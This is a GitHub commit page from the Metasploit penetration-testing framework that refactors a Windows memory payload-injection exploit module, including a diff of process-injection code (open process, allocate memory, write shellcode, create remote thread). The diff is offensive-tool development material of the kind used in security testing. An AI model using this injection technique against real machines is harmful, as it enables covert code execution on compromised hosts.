Skip to content

Commit aca8fcb

Browse files
committed
Land rapid7#3415 -- x86->x64 Payload Injection
2 parents bab1e30 + 4cfeaa1 commit aca8fcb

File tree

2 files changed

+7
-32
lines changed

2 files changed

+7
-32
lines changed

lib/msf/core/post/windows/process.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,10 +35,10 @@ def execute_shellcode(shellcode, base_addr=nil, pid=nil)
3535
thread = host.thread.create(shell_addr,0)
3636
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
3737
vprint_error("Unable to create thread")
38-
return false
38+
nil
3939
end
4040

41-
true
41+
thread
4242
end
4343

4444
end # Process

modules/exploits/windows/local/payload_inject.rb

Lines changed: 5 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@
1010
class Metasploit3 < Msf::Exploit::Local
1111
Rank = ExcellentRanking
1212

13+
include Msf::Post::Windows::Process
14+
1315
def initialize(info={})
1416
super( update_info( info,
1517
'Name' => 'Windows Manage Memory Payload Injection',
@@ -52,13 +54,7 @@ def exploit
5254
return
5355
end
5456

55-
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
56-
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
57-
print_error("Migrate to an x64 process and try again.")
58-
return false
59-
else
60-
inject_into_pid(pid)
61-
end
57+
inject_into_pid(pid)
6258
end
6359

6460
# Figures out which PID to inject to
@@ -83,8 +79,6 @@ def has_pid?(pid)
8379
return false
8480
end
8581

86-
pids = []
87-
8882
procs.each do |p|
8983
found_pid = p['pid']
9084
return true if found_pid == pid
@@ -144,27 +138,8 @@ def inject_into_pid(pid)
144138

145139
begin
146140
print_status("Preparing '#{@payload_name}' for PID #{pid}")
147-
raw = payload.generate
148-
149-
print_status("Opening process #{pid.to_s}")
150-
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
151-
if not host_process
152-
print_error("Unable to open #{pid.to_s}")
153-
return
154-
end
155-
156-
print_status("Allocating memory in procees #{pid}")
157-
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
158-
159-
# Ensure memory is set for execution
160-
host_process.memory.protect(mem)
161-
162-
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
163-
print_status("Writing the stager into memory...")
164-
host_process.memory.write(mem, raw)
165-
host_process.thread.create(mem, 0)
166-
print_good("Successfully injected payload in to process: #{pid}")
167-
141+
raw = payload.encoded
142+
execute_shellcode(raw, nil, pid)
168143
rescue Rex::Post::Meterpreter::RequestError => e
169144
print_error("Unable to inject payload:")
170145
print_line(e.to_s)

0 commit comments

Comments
 (0)